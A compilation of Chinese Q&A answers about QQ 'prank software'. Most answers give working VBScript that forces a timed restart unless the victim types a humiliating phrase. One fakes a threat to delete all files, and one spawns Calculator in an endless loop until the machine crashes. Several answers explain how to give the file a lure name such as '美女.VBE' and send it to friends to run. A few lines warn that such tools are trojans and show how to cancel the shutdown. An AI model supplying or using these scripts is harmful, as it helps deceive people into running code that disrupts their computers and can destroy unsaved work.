A. 求qq惡作劇軟體 任何形式的都行 就是別被殺毒軟體檢查到就行。比如一打開就是一句 說自己是豬不然關機。
自己去網上找啊……這樣的軟體多得很……自己寫一個exe也行啊
B. 手機QQ的整人代碼大全
第一步，將以下代碼復制到記事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快說潮流哥特，不說就30秒關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("說潮流哥特,不然就不關機，快撒，說 ""潮流哥特"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以隨便改，不印象效果。如果發給MM，你可以逼她說「我愛你」。方法是把上面的「QQ客是好網站」改成「快說我愛你」 內容來自
第二步，將記事本文件重命名為 ***.VBE（文件名可以任意起，如「美女.VBE」）
如果誰運行了這個QQ炸彈，在30秒後會自動關機。
下面說一下使用方法：
最簡單的使用方法是，你直接發給好友，讓他運行，然後他就中招了。
WScript.Echo("誰令你打開這個軟體的")
WScript.Echo("這個軟體會讓你無聊啊！")
WScript.Echo("推薦你來的肯定是個壞蛋！")
WScript.Echo("歡迎來到被整軟體站！")
WScript.Echo("是誰設計的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要點30次確定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
C. 一個qq的惡搞軟體
先在桌面上創個記事本，把下面代碼復制進去 。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，豬"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
輸完後把記事本 重命名， 改成 .vbe
前面隨便輸什麼，但後面一定要 .vbe ， 比如 123.vbe
D. 有什麼可以整蠱QQ好友工具
有啊 有很多的 比如千夫指 不停的給你發消息 QQ細胞發送器 都是比較好的 但這些都是木馬 所以你還是不要玩了 有的有病毒的
E. 求QQ惡搞軟體
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 15 -c ""請您輸入開機密碼，否則系統將在十五秒後關閉並將所有文件刪除，不信，試試···"" ",0 ,true
dim a
do while(a <> "136763792")
a = inputbox ("您須正確的輸入開機密碼,否則系統將在十五秒後關閉並刪除所有文件，輸入 ""密碼"" ","請輸入密碼","輸入密碼",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "※密碼錯誤※"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈，逗你玩的啊，不過十五秒之內你不輸入真的就關機了"
別人給你的文件和這個文件一樣的 很簡單 在20秒之內 打開任務管理器 文件-運行 在輸入
shutdown -a
就行了
說滿桌面都是豬頭 好像是騙人的吧..
以後接文件要謹慎 特別是 exe cmd vbe vbc的文件
希望對LZ有幫助 謝謝!
F. QQ 整人 惡搞軟體
創建一個記事本然後復制下面的
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫聲爸爸，不叫聲爸爸就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "爸爸")
a = inputbox ("叫聲爸爸,就不關機，快撒，說 ""爸爸"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "對，好兒子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "你爸爸我很開心"
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈哈"
文件名是 我是你爸.vbs
G. QQ整人軟體（要狠一點的）
1、上八目妖有。2、自製一點擊就出現無數個計算器，直到死機為止。在記事本里輸入，最後把擴展名改成VBS得那種。
Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop
整人小程序：說我是豬就不關機
程序, 整人
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快說「我是豬」，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
msgbox chr(13) + chr(13) + chr(13) + "乖孩子真聽話啊"
msgbox chr(13) + chr(13) + chr(13) + "下次叔叔買糖給你吃"
msgbox chr(13) + chr(13) + chr(13) + "要吃什麼糖啊"
msgbox chr(13) + chr(13) + chr(13) + "什麼，大白兔？"
msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了長石頭啊"
msgbox chr(13) + chr(13) + chr(13) + "要不叔叔給你講個故事"
msgbox chr(13) + chr(13) + chr(13) + "從前有個山"
msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"
msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"
msgbox chr(13) + chr(13) + chr(13) + "老和尚在給小和尚講故事"
msgbox chr(13) + chr(13) + chr(13) + "講什麼故事呢"
msgbox chr(13) + chr(13) + chr(13) + "故事是這樣的"
msgbox chr(13) + chr(13) + chr(13) + "從前有個山"
msgbox chr(13) + chr(13) + chr(13) + "山裡有個廟"
msgbox chr(13) + chr(13) + chr(13) + "廟里有個老和尚"
msgbox chr(13) + chr(13) + chr(13) + "什麼，不聽了"
msgbox chr(13) + chr(13) + chr(13) + "別哭別哭，叔叔給你買糖！"
復制代碼一個整人的小代碼，「說我是豬就不關機」
把上面的代碼復制到記事本里，把後綴名改成.VBE
H. 尋找一個惡搞軟體！在qq上發給人家一個信息，然後一打開全屏都是恐怖的東西，好像還關不掉.
代碼如下(要復制完整哦)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真過癮"
把上面的文字復制到記事本內。另存為名字隨便你起記住後面的一定要加 .vbe
I. qq有什麼整人軟體
現在qq里，有一個語音的，挺有意思，可以說出各種聲音，空靈的。蘿莉的，等等
J. 有沒有在QQ上整人的惡作劇啊！
有幾種整人的軟體，比如有一種叫:送給親愛的她，然後一點就去就是一張全是血的臉，還有超級大聲的尖叫，要放一段時間才會停止，期間除了關機是不能退出的，而且手機壁紙也會變成那張圖片，需要自己再換一下，還有一種，叫:QQ悄悄話查看器，你一點就去就是嬌喘